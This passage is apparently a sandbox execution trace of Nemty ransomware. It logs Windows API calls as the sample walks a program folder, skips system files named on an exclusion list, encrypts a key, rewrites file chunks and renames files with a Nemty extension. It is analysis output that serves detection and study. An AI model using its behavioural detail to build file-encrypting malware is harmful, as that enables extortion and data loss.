(hObject=0xffffffff) returned 0 [0073.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0073.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0073.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0073.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0073.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0073.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0073.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0073.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0073.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0073.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0073.289] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png._nemty_kgobjgd_")) returned 0 [0073.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0073.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0073.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0073.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0073.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0073.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0073.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0073.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0073.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0073.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.289] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2=".") returned 1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="..") returned 1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="...") returned 1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="windows") returned -1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="$RECYCLE.BIN") returned 1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="rsa") returned 1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="NTDETECT.COM") returned 1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="ntldr") returned 1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="MSDOS.SYS") returned 1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="IO.SYS") returned 1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="boot.ini") returned 1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="boot.ini") returned 1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="ntuser.dat") returned 1 [0073.289] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="desktop.ini") returned 1 [0073.290] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="CONFIG.SYS") returned 1 [0073.290] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="RECYCLER") returned 1 [0073.290] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="BOOTSECT.BAK") returned 1 [0073.290] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="bootmgr") returned 1 [0073.290] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="programdata") returned 1 [0073.290] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="appdata") returned 1 [0073.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page.wmv", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page.wmv", lpUsedDefaultChar=0x0) returned 14 [0073.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0073.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page.wmv", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page.wmv", lpUsedDefaultChar=0x0) returned 14 [0073.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0073.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page.wmv", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page.wmv", lpUsedDefaultChar=0x0) returned 14 [0073.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page.wmv", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page.wmv", lpUsedDefaultChar=0x0) returned 14 [0073.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0073.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0073.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0073.290] Sleep (dwMilliseconds=0x5) [0073.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf56a1d0, dwHighDateTime=0x1d561e7)) [0073.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf56a1d0, dwHighDateTime=0x1d561e7)) [0073.302] GetLastError () returned 0x5 [0073.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.302] GetLastError () returned 0x5 [0073.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0073.302] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0073.302] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0073.303] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0073.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0073.303] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="OTAPcBKCrewbxpEoemdlhUOY9zkKuuyjD3niGGM1aAgN9GH36Tv7OXW9zP89cCPY\r\nW9M7WgpViuWlJ+mXuhhP41zkyM92RlMGz3zN/+pFGXKJrjuPyedZCDLqYjKrap/H\r\nSvhb0B/cg9lMGwyrKtotQb4ZSiiMA9xOyZ88ur9jkDL9y/Vf/U/reUGxBEwtrisb\r\n+eXIsbDLDdvYRUTYBs2JHwS48Hrdf+A6VgcNoVRjb9ke4Q11AYuqbp3xZEN3YkjI\r\na0j6GzuG7oNf6Km4U1bUjqclk/IPdLlvFMsQZ5kEwVpXDiK0No3NHTTJZO/4hUzK\r\nIK6Od1/r1jDXz9cD23WavQ==\r\n", pcchString=0x653e91c) returned 1 [0073.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0073.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0073.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0073.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0073.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0073.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0073.303] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.303] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0073.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0073.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.303] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.312] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.312] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.322] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.322] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.331] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.331] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.341] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.350] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.350] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.359] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.359] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.369] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.369] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.378] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.397] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.397] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.403] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.403] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0073.409] CloseHandle (hObject=0xffffffff) returned 0 [0073.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0073.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0073.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0073.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0073.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0073.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0073.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0073.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x63401b8 [0073.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0073.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0073.409] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv._nemty_kgobjgd_")) returned 0 [0073.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0073.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0073.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0073.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0073.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0073.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0073.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0073.410] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, 